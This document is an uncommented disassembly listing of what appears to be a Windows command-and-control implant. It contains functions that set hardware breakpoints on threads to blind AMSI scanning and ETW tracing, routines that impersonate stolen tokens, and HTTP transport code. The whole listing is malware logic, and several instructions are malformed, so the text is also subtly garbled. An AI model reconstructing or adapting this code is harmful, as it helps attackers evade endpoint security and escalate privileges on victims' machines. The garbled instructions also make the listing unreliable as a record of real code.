1400152afmov r9, r12
1400152b2mov r8l, 121
1400152b8lea rdx, [rip+0x17ee1]
1400152bfmov rcx, rbp
1400152c2call printf
1400152c7
1400152c7loc_1400152c7:
1400152c7inc edi
1400152c9jmp 0x140015282
1400152cb
1400152cbloc_1400152cb:
1400152cbcmp [r13+182], 0
1400152d3je 0x1400153e2
1400152d9mov rax, [r13+186]
1400152e0mov r9l, 24
1400152e6mov r8, rsi
1400152e9mov rcx, rbx
1400152ecmov [rsp+88], 3
1400152f4mov edx, 38
1400152f9mov [rsp+96], rax
1400152fecall [r13+1204]
140015305test eax, eax
140015307jne 0x14001532d
140015309mov rax, [r13+2230]
140015310mov r8l, 135
140015316lea rdx, [rip+0x17e83]
14001531dlea rcx, [rip+0x14d27]
140015324mov r9l, [rax+104]
140015328call printf
14001532d
14001532dloc_14001532d:
14001532dmov rcx, [r13+194]
140015334test rcx, rcx
140015337je 0x140015381
140015339mov rsi, [r13+1204]
140015340call StringLengthW
140015345mov r8, [r13+194]
14001534cmov edx, 4098
140015351mov rcx, rbx
140015354mov r9l, eax
140015357call rsi
140015359test eax, eax
14001535bjne 0x140015381
14001535dmov rax, [r13+2230]
140015364mov r8l, 142
14001536alea rdx, [rip+0x17e2f]
140015371lea rcx, [rip+0x14d2d]
140015378mov r9l, [rax+104]
14001537ccall printf
140015381
140015381loc_140015381:
140015381mov rcx, [r13+202]
140015388test rcx, rcx
14001538bje 0x1400155c2
140015391mov rsi, [r13+1204]
140015398call StringLengthW
14001539dmov r8, [r13+202]
1400153a4mov edx, 4099
1400153a9mov rcx, rbx
1400153acmov r9l, eax
1400153afcall rsi
1400153b1test eax, eax
1400153b3jne 0x1400155c2
1400153b9mov rax, [r13+2230]
1400153c0mov r8l, 150
1400153c6lea rdx, [rip+0x17dd3]
1400153cdlea rcx, [rip+0x14d01]
1400153d4mov r9l, [rax+104]
1400153d8call printf
1400153ddjmp 0x1400155c2
1400153e2
1400153e2loc_1400153e2:
1400153e2cmp [r13+24], 0
1400153e7jne 0x1400155c2
1400153edxor r8l, r8l
1400153f0mov rcx, [r13+16]
1400153f4mov rdx, [rsp+72]
1400153f9mov r9, rsi
1400153fclea rdi, [rsp+144]
140015404mov [rsp+152], r8
14001540cmov rax, 0x300000001
140015416mov [rsp+144], rax
14001541emov eax, 1
140015423shl rax, 32
140015427mov [rsp+160], r8
14001542fmov r8, rdi
140015432mov [rsp+168], rax
14001543acall [r13+1268]
140015441mov rbp, [rip+0x16f28]
140015448test eax, eax
14001544aje 0x140015465
14001544cmov r9, [rsp+96]
140015451mov r8l, 175
140015457test r9, r9
14001545ajne 0x140015583
140015460jmp 0x140015596
140015465
140015465loc_140015465:
140015465lea rcx, [rsp+112]
14001546acall [r13+1260]
140015471test eax, eax
140015473je 0x1400155bb
140015479mov rcx, [rsp+128]
140015481test rcx, rcx
140015484je 0x14001550c
14001548acall StringLengthW
14001548ftest rax, rax
140015492je 0x14001550c
140015494mov r9, [rsp+128]
14001549cmov rax, [rsp+136]
1400154a4mov r8l, 194
1400154aalea rdx, [rip+0x17cef]
1400154b1lea rcx, [rip+0x14c6e]
1400154b8mov [rsp+88], 3
1400154c0mov [rsp+96], r9
1400154c5mov [rsp+104], rax
1400154cacall printf
1400154cfmov ecx, 64
1400154d4mov edx, 24
1400154d9mov [r13+36], 24
1400154e1call [r13+932]
1400154e8mov rcx, [r13+36]
1400154ecmov [r13+28], rax
1400154f0mov rdi, rax
1400154f3rep movsb [rdi], [rsi]
1400154f5xor ecx, ecx
1400154f7mov [rsp+128], rcx
1400154ffmov [rsp+136], rcx
140015507jmp 0x1400155bb
14001550c
14001550cloc_14001550c:
14001550cmov rcx, [rsp+120]
140015511test rcx, rcx
140015514je 0x1400155bb
14001551acall StringLengthW
14001551ftest rax, rax
140015522je 0x1400155bb
140015528mov r9, [rsp+120]
14001552dmov r8l, 211
140015533lea rdx, [rip+0x17c66]
14001553alea rcx, [rip+0x14c09]
140015541mov [rsp+144], 2
14001554dmov [rsp+152], r9
140015555call printf
14001555amov rcx, [rbp+16]
14001555emov r9, rsi
140015561mov r8, rdi
140015564mov rdx, [rsp+72]
140015569call [rbp+1268]
14001556ftest eax, eax
140015571je 0x1400155bb
140015573mov r9, [rsp+96]
140015578test r9, r9
14001557bje 0x140015596
14001557dmov r8l, 216
140015583
140015583loc_140015583:
140015583lea rdx, [rip+0x17c16]
14001558alea rcx, [rip+0x14b74]
140015591call printf
140015596
140015596loc_140015596:
140015596mov ecx, 64
14001559bmov [rbp+36], 24
1400155a3mov edx, 24
1400155a8call [rbp+932]
1400155aemov rcx, [rbp+36]
1400155b2mov [rbp+28], rax
1400155b6mov rdi, rax
1400155b9rep movsb [rdi], [rsi]
1400155bb
1400155bbloc_1400155bb:
1400155bbmov [rbp+24], 1
1400155c2
1400155c2loc_1400155c2:
1400155c2mov rbp, [rip+0x16da7]
1400155c9mov r8, [rbp+28]
1400155cdtest r8, r8
1400155d0je 0x14001560c
1400155d2mov r9l, [rbp+36]
1400155d6mov edx, 38
1400155dbmov rcx, rbx
1400155decall [rbp+1204]
1400155e4test eax, eax
1400155e6jne 0x14001560c
1400155e8mov rax, [rbp+2230]
1400155efmov r8l, 239
1400155f5lea rdx, [rip+0x17ba4]
1400155fclea rcx, [rip+0x14a48]
140015603mov r9l, [rax+104]
140015607call printf
14001560c
14001560cloc_14001560c:
14001560cmov eax, [r15+8]
140015610xor edx, edx
140015612xor r8l, r8l
140015615mov rcx, rbx
140015618mov [rsp+48], rdx
14001561dxor edx, edx
14001561fmov [rsp+40], eax
140015623mov [rsp+32], eax
140015627mov r9, [r15]
14001562acall [rbp+1220]
140015630test eax, eax
140015632je 0x140015722
140015638xor edx, edx
14001563amov rcx, rbx
14001563dcall [rbp+1236]
140015643test eax, eax
140015645je 0x14001571b
14001564bmov rcx, rbx
14001564ecall HttpQueryStatus
140015653cmp eax, 200
140015658je 0x14001567f
14001565alea r9, [rip+0x14b35]
140015661mov r8l, 251
140015667lea rdx, [rip+0x17b32]
14001566elea rcx, [rip+0x148cf]
140015675call printf
14001567ajmp 0x140015754
14001567f
14001567floc_14001567f:
14001567ftest r14, r14
140015682je 0x14001571b
140015688lea rax, [rsp+84]
14001568dxor edi, edi
14001568fmov [rsp+72], rax
140015694lea rax, [rsp+176]
14001569cmov r13, rax
14001569f
14001569floc_14001569f:
14001569fmov r9, [rsp+72]
1400156a4mov r8l, 1024
1400156aamov rdx, r13
1400156admov rcx, rbx
1400156b0call [rbp+1244]
1400156b6mov r15l, eax
1400156b9test eax, eax
1400156bbje 0x140015714
1400156bdmov edx, [rsp+84]
1400156c1test edx, edx
1400156c3je 0x140015714
1400156c5test r12, r12
1400156c8jne 0x1400156d7
1400156camov ecx, 64
1400156cfcall [rbp+932]
1400156d5jmp 0x1400156e9
1400156d7
1400156d7loc_1400156d7:
1400156d7add rdx, rdi
1400156damov r8l, 66
1400156e0mov rcx, r12
1400156e3call [rbp+948]
1400156e9
1400156e9loc_1400156e9:
1400156e9mov ecx, [rsp+84]
1400156edmov r12, rax
1400156f0lea rax, [rax+rdi]
1400156f4mov rsi, r13
1400156f7lea rdx, [rcx+rdi]
1400156fbmov rdi, rax
1400156fexor eax, eax
140015700rep movsb [rdi], [rsi]
140015702mov rdi, r13
140015705mov ecx, 1024
14001570arep stosb [rdi], al
14001570cdec r15l
14001570fmov rdi, rdx
140015712je 0x14001569f
140015714
140015714loc_140015714:
140015714mov [r14+8], edi
140015718mov [r14], r12
14001571b
14001571bloc_14001571b:
14001571bmov esi, 1
140015720jmp 0x140015756
140015722
140015722loc_140015722:
140015722mov rax, [rbp+2230]
140015729mov r9l, [rax+104]
14001572dcmp r9l, 12029
140015734jne 0x14001573b
140015736xor eax, eax
140015738mov [rbp+72], eax
14001573b
14001573bloc_14001573b:
14001573bmov r8l, 290
140015741lea rdx, [rip+0x17a58]
140015748lea rcx, [rip+0x14a7b]
14001574fcall printf
140015754
140015754loc_140015754:
140015754xor esi, esi
140015756
140015756loc_140015756:
140015756mov rcx, [rsp+64]
14001575bcall [rbp+1212]
140015761mov rcx, rbx
140015764call [rbp+1212]
14001576a
14001576aloc_14001576a:
14001576amov rcx, [rsp+128]
140015772test rcx, rcx
140015775je 0x140015784
140015777mov rax, [rip+0x16bf2]
14001577ecall [rax+1172]
140015784
140015784loc_140015784:
140015784mov rcx, [rsp+136]
14001578ctest rcx, rcx
14001578fje 0x14001579e
140015791mov rax, [rip+0x16bd8]
140015798call [rax+1172]
14001579e
14001579eloc_14001579e:
14001579emov rcx, [rsp+120]
1400157a3test rcx, rcx
1400157a6je 0x1400157b5
1400157a8mov rax, [rip+0x16bc1]
1400157afcall [rax+1172]
1400157b5
1400157b5loc_1400157b5:
1400157b5mov ecx, 1
1400157bacall TokenImpersonate
1400157bftest esi, esi
1400157c1jne 0x1400157d7
1400157c3mov rbx, [rip+0x16ba6]
1400157camov rcx, [rbx+104]
1400157cecall HostFailure
1400157d3mov [rbx+104], rax
1400157d7
1400157d7loc_1400157d7:
1400157d7add rsp, 1208
1400157demov eax, esi
1400157e0pop rbx
1400157e1pop rsi
1400157e2pop rdi
1400157e3pop rbp
1400157e4pop r12
1400157e6pop r13
1400157e8pop r14
1400157eapop r15
1400157ecret
140015000

1400157ed
1400157ed // align 0x10

1400157f0
1400157f0HwBpEngineAdd:
1400157f0push r15
1400157f2push r14
1400157f4push r13
1400157f6push r12
1400157f8mov r12, r9
1400157fbpush rbp
1400157fcmov ebp, edx
1400157fepush rdi
1400157ffmov rdi, r8
140015802push rsi
140015803mov rsi, rcx
140015806push rbx
140015807sub rsp, 72
14001580bmov r15l, [rsp+176]
140015813mov [rsp+48], r9
140015818mov r9, rcx
14001581blea rcx, [rip+0x127e4]
140015822mov [rsp+40], r8
140015827mov r8l, 162
14001582dmovzx r14l, r15b
140015831mov [rsp+32], edx
140015835lea rdx, [rip+0x16fb4]
14001583cmov [rsp+56], r14l
140015841call printf
140015846test rsi, rsi
140015849jne 0x140015867
14001584bmov rax, [rip+0x16b1e]
140015852mov rsi, [rax+2342]
140015859mov eax, 0xffffffffc000000d
14001585etest rsi, rsi
140015861je 0x140015946
140015867
140015867loc_140015867:
140015867test rdi, rdi
14001586aje 0x140015941
140015870test r12, r12
140015873je 0x140015941
140015879mov r13, [rip+0x16af0]
140015880mov r8l, 40
140015886mov edx, 8
14001588bmov rax, [r13+2230]
140015892mov rax, [rax+96]
140015896mov rcx, [rax+48]
14001589acall [r13+316]
1400158a1mov r8l, r14l
1400158a4mov rdx, rdi
1400158a7mov ecx, ebp
1400158a9mov [rax], ebp
1400158abmov rbx, rax
1400158aemov r9l, 1
1400158b4mov [rax+8], rdi
1400158b8mov [rax+16], r12
1400158bcmov [rax+24], r15b
1400158c0mov rax, [rsi+16]
1400158c4mov [rbx+32], rax
1400158c8call HwBpEngineSetBp
1400158cdtest eax, eax
1400158cfjns 0x140015913
1400158d1lea r9, [rip+0x1277d]
1400158d8mov r8l, 189
1400158delea rdx, [rip+0x16f0b]
1400158e5lea rcx, [rip+0x12792]
1400158eccall printf
1400158f1mov rax, [r13+2230]
1400158f8mov r8, rbx
1400158fbxor edx, edx
1400158fdmov rax, [rax+96]
140015901mov rcx, [rax+48]
140015905call [r13+332]
14001590cmov eax, 0xffffffffc0000001
140015911jmp 0x140015946
140015913
140015913loc_140015913:
140015913mov [rsp+40], r14l
140015918mov r9l, ebp
14001591bmov r8l, 192
140015921lea rdx, [rip+0x16ec8]
140015928mov [rsp+32], rdi
14001592dlea rcx, [rip+0x1275e]
140015934call printf
140015939mov [rsi+16], rbx
14001593dxor eax, eax
14001593fjmp 0x140015946
140015941
140015941loc_140015941:
140015941mov eax, 0xffffffffc000000d
140015946
140015946loc_140015946:
140015946add rsp, 72
14001594apop rbx
14001594bpop rsi
14001594cpop rdi
14001594dpop rbp
14001594epop r12
140015950pop r13
140015952pop r14
140015954pop r15
140015956ret
1400157f0

140015957
140015957 // align 0x10

140015960
140015960HwBpEngineDestroy:
140015960push r14
140015962push r13
140015964push r12
140015966push rbp
140015967push rdi
140015968push rsi
140015969push rbx
14001596amov rbx, rcx
14001596dsub rsp, 32
140015971test rcx, rcx
140015974mov rsi, [rip+0x169f5]
14001597bjne 0x140015992
14001597dmov rbx, [rsi+2342]
140015984mov eax, 0xffffffffc000000d
140015989test rbx, rbx
14001598cje 0x140015a24
140015992
140015992loc_140015992:
140015992mov rcx, [rbx]
140015995xor r12l, r12l
140015998mov r14l, 40
14001599ecall [rsi+436]
1400159a4mov rbp, [rbx+16]
1400159a8
1400159a8loc_1400159a8:
1400159a8test rbp, rbp
1400159abje 0x1400159f2
1400159admov ecx, [rbp]
1400159b0mov rdx, [rbp+8]
1400159b4mov r9l, 1
1400159bamov rdi, rbp
1400159bdmovzx r8l, [rbp+24]
1400159c2mov r13, [rbp+32]
1400159c6call HwBpEngineSetBp
1400159cbmov rcx, r14
1400159cemov eax, r12l
1400159d1rep stosb [rdi], al
1400159d3mov rax, [rsi+2230]
1400159damov r8, rbp
1400159ddxor edx, edx
1400159dfmov rbp, r13
1400159e2mov rax, [rax+96]
1400159e6mov rcx, [rax+48]
1400159eacall [rsi+332]
1400159f0jmp 0x1400159a8
1400159f2
1400159f2loc_1400159f2:
1400159f2cmp [rsi+2342], rbx
1400159f9je 0x1400159ff
1400159fb
1400159fbloc_1400159fb:
1400159fbxor eax, eax
1400159fdjmp 0x140015a24
1400159ff
1400159ffloc_1400159ff:
1400159ffmov rax, [rsi+2230]
140015a06mov r8, rbx
140015a09xor edx, edx
140015a0bmov rax, [rax+96]
140015a0fmov rcx, [rax+48]
140015a13call [rsi+332]
140015a19xor eax, eax
140015a1bmov [rsi+2342], rax
140015a22jmp 0x1400159fb
140015a24
140015a24loc_140015a24:
140015a24add rsp, 32
140015a28pop rbx
140015a29pop rsi
140015a2apop rdi
140015a2bpop rbp
140015a2cpop r12
140015a2epop r13
140015a30pop r14
140015a32ret
140015960

140015a33
140015a33 // align 0x10

140015a40
140015a40HwBpEngineInit:
140015a40push rsi
140015a41mov rax, rcx
140015a44push rbx
140015a45sub rsp, 40
140015a49or rax, rdx
140015a4cmov rsi, [rip+0x1691d]
140015a53jne 0x140015a66
140015a55cmp [rsi+2342], 0
140015a5dmov edx, 0xffffffffc000000d
140015a62je 0x140015a6e
140015a64jmp 0x140015abd
140015a66
140015a66loc_140015a66:
140015a66mov rbx, rcx
140015a69test rcx, rcx
140015a6cjne 0x140015a9f
140015a6e
140015a6eloc_140015a6e:
140015a6emov rax, [rsi+2230]
140015a75mov edx, 8
140015a7amov r8l, 24
140015a80mov rax, [rax+96]
140015a84mov rcx, [rax+48]
140015a88call [rsi+316]
140015a8elea rdx, [rip-10853]
140015a95mov [rsi+2342], rax
140015a9cmov rbx, rax
140015a9f
140015a9floc_140015a9f:
140015a9fmov ecx, 1
140015aa4call [rsi+428]
140015aaamov edx, 0xffffffffc0000001
140015aafmov [rbx], rax
140015ab2test rax, rax
140015ab5je 0x140015abd
140015ab7mov [rbx+8], 1
140015abbxor edx, edx
140015abd
140015abdloc_140015abd:
140015abdadd rsp, 40
140015ac1mov eax, edx
140015ac3pop rbx
140015ac4pop rsi
140015ac5ret
140015a40

140015ac6
140015ac6 // align 0x10

140015ad0
140015ad0HwBpEngineSetBp:
140015ad0push rbp
140015ad1xor eax, eax
140015ad3mov r10l, ecx
140015ad6mov ecx, 308
140015adbmov rbp, rsp
140015adepush r13
140015ae0mov r13l, r9l
140015ae3push r12
140015ae5mov r12, rdx
140015ae8xor edx, edx
140015aeapush rdi
140015aebpush rsi
140015aecpush rbx
140015aedmov ebx, r8l
140015af0and rsp, -16
140015af4sub rsp, 1376
140015afbmov [rsp+72], rdx
140015b00lea r9, [rsp+80]
140015b05lea r8, [rsp+96]
140015b0amov edx, 0x1fffff
140015b0flea rdi, [rsp+144]
140015b17mov [rsp+96], 48
140015b1frep stosd [rdi], eax
140015b21lea rdi, [rsp+100]
140015b26mov ecx, 11
140015b2brep stosd [rdi], eax
140015b2dmov rax, [rip+0x1683c]
140015b34lea rcx, [rsp+72]
140015b39mov eax, [rax+76]
140015b3cmov [rsp+80], rax
140015b41mov eax, r10l
140015b44mov [rsp+88], rax
140015b49call SysNtOpenThread
140015b4etest eax, eax
140015b50js 0x140015c72
140015b56mov rcx, [rsp+72]
140015b5blea rdi, [rsp+144]
140015b63mov [rsp+192], 0x100010
140015b6emov rdx, rdi
140015b71call SysNtGetContextThread
140015b76mov esi, eax
140015b78test eax, eax
140015b7ajs 0x140015c74
140015b80movzx eax, bl
140015b83lea rsi, [rsp+8*rax+216]
140015b8btest r13b, r13b
140015b8eje 0x140015bd4
140015b90movzx ebx, bl
140015b93mov edx, 3
140015b98mov [rsi], r12
140015b9blea r8l, [4*rbx+16]
140015ba3mov rax, rdx
140015ba6add ebx, ebx
140015ba8lea ecx, [r8+2]
140015bacshl rax, cl
140015bafmov ecx, r8l
140015bb2shl rdx, cl
140015bb5or rax, rdx
140015bb8not rax
140015bbband rax, [rsp+256]
140015bc3bts rax, rbx
140015bc7mov [rsp+256], rax
140015bcfjmp 0x140015c5d
140015bd4
140015bd4loc_140015bd4:
140015bd4cmp r12, [rsi]
140015bd7jne 0x140015c5d
140015bddmov [rsp+32], r12
140015be2movzx r9l, bl
140015be6mov rax, [rsp+256]
140015beelea r12, [rip+0x1709b]
140015bf5lea rbx, [rip+0x12344]
140015bfcmov r8l, 105
140015c02mov rdx, r12
140015c05mov [rsp+60], r9l
140015c0amov [rsp+40], rax
140015c0fmov rcx, rbx
140015c12call printf
140015c17mov r9l, [rsp+60]
140015c1cxor eax, eax
140015c1emov rdx, r12
140015c21mov [rsi], rax
140015c24mov rax, -2
140015c2bmov r8l, 116
140015c31lea ecx, [r9+r9]
140015c35rol rax, cl
140015c38and rax, [rsp+256]
140015c40mov rcx, rbx
140015c43mov [rsp+256], rax
140015c4bmov [rsp+40], rax
140015c50mov rax, [rsi]
140015c53mov [rsp+32], rax
140015c58call printf
140015c5d
140015c5dloc_140015c5d:
140015c5dmov rcx, [rsp+72]
140015c62mov rdx, rdi
140015c65call SysNtSetContextThread
140015c6amov esi, eax
140015c6ctest eax, eax
140015c6ejns 0x140015c83
140015c70jmp 0x140015c74
140015c72
140015c72loc_140015c72:
140015c72xor esi, esi
140015c74
140015c74loc_140015c74:
140015c74mov rcx, [rsp+72]
140015c79test rcx, rcx
140015c7cje 0x140015c83
140015c7ecall SysNtClose
140015c83
140015c83loc_140015c83:
140015c83lea rsp, [rbp-40]
140015c87mov eax, esi
140015c89pop rbx
140015c8apop rsi
140015c8bpop rdi
140015c8cpop r12
140015c8epop r13
140015c90pop rbp
140015c91ret
140015ad0

140015c92
140015c92 // align 0x10

140015ca0
140015ca0HwBpExAmsiScanBuffer:
140015ca0mov rax, [rcx+8]
140015ca4xor edx, edx
140015ca6mov rax, [rax+152]
140015cadmov [rax+40], rdx
140015cb1mov rax, [rcx+8]
140015cb5mov edx, 0xffffffff80070057
140015cbamov [rax+120], rdx
140015cbemov rdx, [rax+152]
140015cc5mov rcx, [rdx]
140015cc8add rdx, 8
140015cccmov [rax+152], rdx
140015cd3mov [rax+248], rcx
140015cdaret
140015ca0

140015cdb
140015cdb // align 0x10

140015ce0
140015ce0HwBpExNtTraceEvent:
140015ce0mov rdx, [rcx+8]
140015ce4mov rax, [rdx+152]
140015cebmov rcx, [rax]
140015ceeadd rax, 8
140015cf2mov [rdx+152], rax
140015cf9mov [rdx+248], rcx
140015d00ret
140015ce0

140015d01
140015d01 // align 0x10

140015d10
140015d10ImpersonateTokenFromVault:
140015d10sub rsp, 40
140015d14call TokenGet
140015d19test rax, rax
140015d1cjne 0x140015d51
140015d1elea r9, [rip+0x140f3]
140015d25mov r8l, 1266
140015d2blea rdx, [rip+0x1700e]
140015d32lea rcx, [rip+0x13c8f]
140015d39call printf
140015d3emov edx, 1
140015d43mov ecx, 3
140015d48call PackageTransmitError
140015d4dxor eax, eax
140015d4fjmp 0x140015d61
140015d51
140015d51loc_140015d51:
140015d51mov rcx, rax
140015d54call ImpersonateTokenInStore
140015d59test eax, eax
140015d5bsetne al
140015d5emovzx eax, al
140015d61
140015d61loc_140015d61:
140015d61add rsp, 40
140015d65ret
140015d10